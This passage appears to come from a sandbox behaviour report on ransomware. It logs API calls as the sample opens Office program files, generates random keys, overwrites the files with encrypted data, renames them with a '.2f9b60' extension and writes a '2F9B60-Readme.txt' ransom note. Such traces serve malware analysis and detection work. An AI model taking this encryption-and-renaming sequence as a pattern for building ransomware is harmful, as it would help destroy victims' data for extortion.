(in: _Dest=0x4319fe28, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe2a, _Format="%c%c" | out: _Dest="ba") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe2c, _Format="%c%c" | out: _Dest="41") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe2e, _Format="%c%c" | out: _Dest="b0") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe30, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe32, _Format="%c%c" | out: _Dest="43") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe34, _Format="%c%c" | out: _Dest="ae") returned 2 [0236.273] sprintf (in: _Dest=0x4319fe36, _Format="%c%c" | out: _Dest="39") returned 2 [0236.273] sprintf (in: _Dest=0x4319fe38, _Format="%c%c" | out: _Dest="35") returned 2 [0236.273] sprintf (in: _Dest=0x4319fe3a, _Format="%c%c" | out: _Dest="03") returned 2 [0236.273] sprintf (in: _Dest=0x4319fe3c, _Format="%c%c" | out: _Dest="23") returned 2 [0236.273] sprintf (in: _Dest=0x4319fe3e, _Format="%c%c" | out: _Dest="0e") returned 2 [0236.273] RtlInitAnsiString (in: DestinationString=0x21e7f6c8, SourceString="cb2a9736f8516d231193846430602fd8b2f6e2510f26fb79b352989df6d221ec5427a64bb1ba41b0ed43ae393503230e" | out: DestinationString="cb2a9736f8516d231193846430602fd8b2f6e2510f26fb79b352989df6d221ec5427a64bb1ba41b0ed43ae393503230e") [0236.273] RtlAnsiStringToUnicodeString (in: DestinationString=0x21e7f698, SourceString="cb2a9736f8516d231193846430602fd8b2f6e2510f26fb79b352989df6d221ec5427a64bb1ba41b0ed43ae393503230e", AllocateDestinationString=1 | out: DestinationString="cb2a9736f8516d231193846430602fd8b2f6e2510f26fb79b352989df6d221ec5427a64bb1ba41b0ed43ae393503230e") returned 0x0 [0236.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fdeb0 [0236.274] wcscat (in: _Dest=0x1b78ee80, _Source="cb2a9736f8516d2311938464" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\cb2a9736f8516d2311938464") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\cb2a9736f8516d2311938464" [0236.274] wcscat (in: _Dest=0x1b78ee80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\cb2a9736f8516d2311938464.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\cb2a9736f8516d2311938464.2f9b60" [0236.274] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\cb2a9736f8516d2311938464.2f9b60", NtPathName=0x21e7f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\cb2a9736f8516d2311938464.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x116640 [0236.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x116640) returned 1 [0236.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420578c0) returned 1 [0236.702] NtQueryInformationFile (in: FileHandle=0x2584, IoStatusBlock=0x21e7f6d8, FileInformation=0x21e7f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21e7f6d8, FileInformation=0x21e7f6e8) returned 0x0 [0236.702] NtSetInformationFile (FileHandle=0x2584, IoStatusBlock=0x21e7f6d8, FileInformation=0x21e7f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ee80) returned 1 [0236.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fdeb0) returned 1 [0236.978] FlushFileBuffers (hFile=0x2584) returned 1 [0238.191] CloseHandle (hObject=0x2584) returned 1 [0240.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776f50 [0240.531] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\" [0240.531] wcscat (in: _Dest=0x1b776f50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\2F9B60-Readme.txt" [0240.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\2f9b60-readme.txt")) returned 0xffffffff [0240.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1494 [0244.023] WriteFile (hFile=0x1494, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x21e7f590, lpOverlapped=0x0) Thread: id = 3866 os_tid = 0xc24 [0229.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif")) returned 0x20 [0229.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF", dwFileAttributes=0x20) returned 1 [0229.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2b94 [0229.894] GetFileSizeEx (in: hFile=0x2b94, lpFileSize=0x338ff940 | out: lpFileSize=0x338ff940*=1175) returned 1 [0229.894] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.894] ReadFile (in: hFile=0x2b94, lpBuffer=0x338ff8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x338ff908, lpOverlapped=0x0 | out: lpBuffer=0x338ff8c0*, lpNumberOfBytesRead=0x338ff908*=0x4, lpOverlapped=0x0) returned 1 [0230.792] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d80 [0230.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263230 [0230.793] NtQuerySystemTime (in: CurrentTime=0x338ff800 | out: CurrentTime=0x338ff800*=132462178347874000) returned 0x0 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x825d3d2 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x3043874d [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x717f0c58 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x1f6ba724 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x11bc3005 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x6a7b619b [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x7dece185 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x4dee9f40 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x1935a51b [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x7dccef5e [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x7eb2a828 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x62c386c [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x2b9613d3 [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x4a1e5f6e [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x765034e [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x40feaead [0230.793] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x610af887 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x1d0a447a [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x5af6cc82 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x5d474bd3 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x67e4fa67 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x4198e260 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x7820c896 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x5e80a818 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x2a8a505d [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x743f2739 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x1318a42 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x44278d35 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x69bfd9f3 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x1fdafee [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x416f0871 [0230.794] RtlRandomEx (in: Seed=0x338ff7f0 | out: Seed=0x338ff7f0) returned 0x7abff6a5 [0230.803] ReadFile (in: hFile=0x2b94, lpBuffer=0x42475d20, nNumberOfBytesToRead=0x497, lpNumberOfBytesRead=0x338ff7f0, lpOverlapped=0x0 | out: lpBuffer=0x42475d20*, lpNumberOfBytesRead=0x338ff7f0*=0x497, lpOverlapped=0x0) returned 1 [0230.803] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.803] WriteFile (in: hFile=0x2b94, lpBuffer=0x42488970*, nNumberOfBytesToWrite=0x497, lpNumberOfBytesWritten=0x338ff7f4, lpOverlapped=0x0 | out: lpBuffer=0x42488970*, lpNumberOfBytesWritten=0x338ff7f4*=0x497, lpOverlapped=0x0) returned 1 [0233.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0233.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265280 [0233.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265280) returned 1 [0233.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42488970) returned 1 [0233.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42475d20) returned 1 [0233.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867cc0) returned 1 [0233.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62fa0) returned 1 [0233.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20265280 [0233.875] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.875] WriteFile (in: hFile=0x2b94, lpBuffer=0x431f1da0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x338ff910, lpOverlapped=0x0 | out: lpBuffer=0x431f1da0*, lpNumberOfBytesWritten=0x338ff910*=0x10a, lpOverlapped=0x0) returned 1 [0236.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0236.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0236.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262270) returned 1 [0236.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0236.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261010 [0236.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261010) returned 1 [0236.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0236.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431acd20 [0236.148] sprintf (in: _Dest=0x431acd20, _Format="%c%c" | out: _Dest="1f") returned 2 [0236.148] sprintf (in: _Dest=0x431acd22, _Format="%c%c" | out: _Dest="73") returned 2 [0236.148] sprintf (in: _Dest=0x431acd24, _Format="%c%c" | out: _Dest="66") returned 2 [0236.148] sprintf (in: _Dest=0x431acd26, _Format="%c%c" | out: _Dest="f4") returned 2 [0236.148] sprintf (in: _Dest=0x431acd28, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.148] sprintf (in: _Dest=0x431acd2a, _Format="%c%c" | out: _Dest="9f") returned 2 [0236.148] sprintf (in: _Dest=0x431acd2c, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.148] sprintf (in: _Dest=0x431acd2e, _Format="%c%c" | out: _Dest="c9") returned 2 [0236.148] sprintf (in: _Dest=0x431acd30, _Format="%c%c" | out: _Dest="da") returned 2 [0236.148] sprintf (in: _Dest=0x431acd32, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.148] sprintf (in: _Dest=0x431acd34, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.148] sprintf (in: _Dest=0x431acd36, _Format="%c%c" | out: _Dest="6f") returned 2 [0236.148] sprintf (in: _Dest=0x431acd38, _Format="%c%c" | out: _Dest="45") returned 2 [0236.148] sprintf (in: _Dest=0x431acd3a, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.148] sprintf (in: _Dest=0x431acd3c, _Format="%c%c" | out: _Dest="9a") returned 2 [0236.148] sprintf (in: _Dest=0x431acd3e, _Format="%c%c" | out: _Dest="5d") returned 2 [0236.148] sprintf (in: _Dest=0x431acd40, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.148] sprintf (in: _Dest=0x431acd42, _Format="%c%c" | out: _Dest="7c") returned 2 [0236.148] sprintf (in: _Dest=0x431acd44, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.148] sprintf (in: _Dest=0x431acd46, _Format="%c%c" | out: _Dest="c4") returned 2 [0236.148] sprintf (in: _Dest=0x431acd48, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.148] sprintf (in: _Dest=0x431acd4a, _Format="%c%c" | out: _Dest="fe") returned 2 [0236.148] sprintf (in: _Dest=0x431acd4c, _Format="%c%c" | out: _Dest="59") returned 2 [0236.148] sprintf (in: _Dest=0x431acd4e, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.148] RtlInitAnsiString (in: DestinationString=0x338ff988, SourceString="1f7366f4c79fc7c9daad0a6f45b19a5df27c7bc49efe59ed" | out: DestinationString="1f7366f4c79fc7c9daad0a6f45b19a5df27c7bc49efe59ed") [0236.148] RtlAnsiStringToUnicodeString (in: DestinationString=0x338ff958, SourceString="1f7366f4c79fc7c9daad0a6f45b19a5df27c7bc49efe59ed", AllocateDestinationString=1 | out: DestinationString="1f7366f4c79fc7c9daad0a6f45b19a5df27c7bc49efe59ed") returned 0x0 [0236.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319e720 [0236.149] wcscat (in: _Dest=0x202b0970, _Source="1f7366f4c79f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1f7366f4c79f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1f7366f4c79f" [0236.149] wcscat (in: _Dest=0x202b0970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1f7366f4c79f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1f7366f4c79f.2f9b60" [0236.149] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1f7366f4c79f.2f9b60", NtPathName=0x338ff930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\1f7366f4c79f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e2a20 Thread: id = 3867 os_tid = 0x2254 [0229.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif")) returned 0x20 [0229.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF", dwFileAttributes=0x20) returned 1 [0229.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e44 [0229.899] GetFileSizeEx (in: hFile=0x2e44, lpFileSize=0x335bf7a0 | out: lpFileSize=0x335bf7a0*=637) returned 1 [0229.899] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x279, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.899] ReadFile (in: hFile=0x2e44, lpBuffer=0x335bf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x335bf768, lpOverlapped=0x0 | out: lpBuffer=0x335bf720*, lpNumberOfBytesRead=0x335bf768*=0x4, lpOverlapped=0x0) returned 1 [0229.901] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0229.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263aa0 [0229.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0229.903] NtQuerySystemTime (in: CurrentTime=0x335bf660 | out: CurrentTime=0x335bf660*=132462178338982000) returned 0x0 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x543aa319 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x7860276c [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x13e087f6 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x62a15db9 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x57cdc9f9 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x2ce65852 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x11a80998 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x27f0271b [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0xcd1b23a [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x155b3e69 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x7bdf52d8 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x1fc2ecf5 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x2e6df89d [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x3c4484b3 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x5d59dd45 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0xddd8d6 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x41602491 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x6039a7c7 [0229.903] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x673d6d88 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x3dae4c25 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x68a9b942 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x7f717ed8 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x789c790 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x29bea521 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x12b712b5 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x7e91b45b [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x1c8620a2 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x39659584 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x282c1786 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0xe81b259 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x135baf62 [0229.904] RtlRandomEx (in: Seed=0x335bf650 | out: Seed=0x335bf650) returned 0x19c1514c [0229.913] ReadFile (in: hFile=0x2e44, lpBuffer=0x4242a600, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x335bf650, lpOverlapped=0x0 | out: lpBuffer=0x4242a600*, lpNumberOfBytesRead=0x335bf650*=0x27d, lpOverlapped=0x0) returned 1 [0229.913] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.913] WriteFile (in: hFile=0x2e44, lpBuffer=0x42401150*, nNumberOfBytesToWrite=0x27d, lpNumberOfBytesWritten=0x335bf654, lpOverlapped=0x0 | out: lpBuffer=0x42401150*, lpNumberOfBytesWritten=0x335bf654*=0x27d, lpOverlapped=0x0) returned 1 [0233.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d30 [0233.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264440 [0233.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264440) returned 1 [0233.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42401150) returned 1 [0233.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4242a600) returned 1 [0233.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0233.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0233.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20264440 [0233.912] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.912] WriteFile (in: hFile=0x2e44, lpBuffer=0x431f1b60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x335bf770, lpOverlapped=0x0 | out: lpBuffer=0x431f1b60*, lpNumberOfBytesWritten=0x335bf770*=0x10a, lpOverlapped=0x0) returned 1 [0236.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0236.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d10 [0236.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d10) returned 1 [0236.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d10 [0236.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263170 [0236.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263170) returned 1 [0236.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0236.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431acd20 [0236.156] sprintf (in: _Dest=0x431acd20, _Format="%c%c" | out: _Dest="79") returned 2 [0236.156] sprintf (in: _Dest=0x431acd22, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.156] sprintf (in: _Dest=0x431acd24, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.156] sprintf (in: _Dest=0x431acd26, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.156] sprintf (in: _Dest=0x431acd28, _Format="%c%c" | out: _Dest="93") returned 2 [0236.156] sprintf (in: _Dest=0x431acd2a, _Format="%c%c" | out: _Dest="e7") returned 2 [0236.156] sprintf (in: _Dest=0x431acd2c, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.157] sprintf (in: _Dest=0x431acd2e, _Format="%c%c" | out: _Dest="e1") returned 2 [0236.157] sprintf (in: _Dest=0x431acd30, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.157] sprintf (in: _Dest=0x431acd32, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.157] sprintf (in: _Dest=0x431acd34, _Format="%c%c" | out: _Dest="10") returned 2 [0236.157] sprintf (in: _Dest=0x431acd36, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.157] sprintf (in: _Dest=0x431acd38, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.157] sprintf (in: _Dest=0x431acd3a, _Format="%c%c" | out: _Dest="39") returned 2 [0236.157] sprintf (in: _Dest=0x431acd3c, 